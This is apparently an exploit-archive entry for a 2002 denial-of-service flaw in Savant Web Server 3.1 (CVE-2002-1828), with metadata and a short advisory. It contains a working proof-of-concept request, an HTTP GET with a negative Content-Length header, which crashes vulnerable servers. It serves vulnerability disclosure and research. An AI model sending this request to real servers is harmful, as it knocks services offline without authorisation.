Savant Web Server 3.1 - Malformed Content-Length Denial of Service

Author: Auriemma Luigi
type: dos
platform: windows
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date_added: 2002-09-13 
date_updated: 2012-10-07 
verified: 1 
codes: CVE-2002-1828;OSVDB-16592 
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source: https://www.securityfocus.com/bid/5707/info

Savant Webserver is prone to a denial of service attack, when processing a negative integer located in a users Content-Length value.

It should be noted that versions below 3.1 may also be vulnerable to this issue.

GET / HTTP/1.0
Content-Length: -1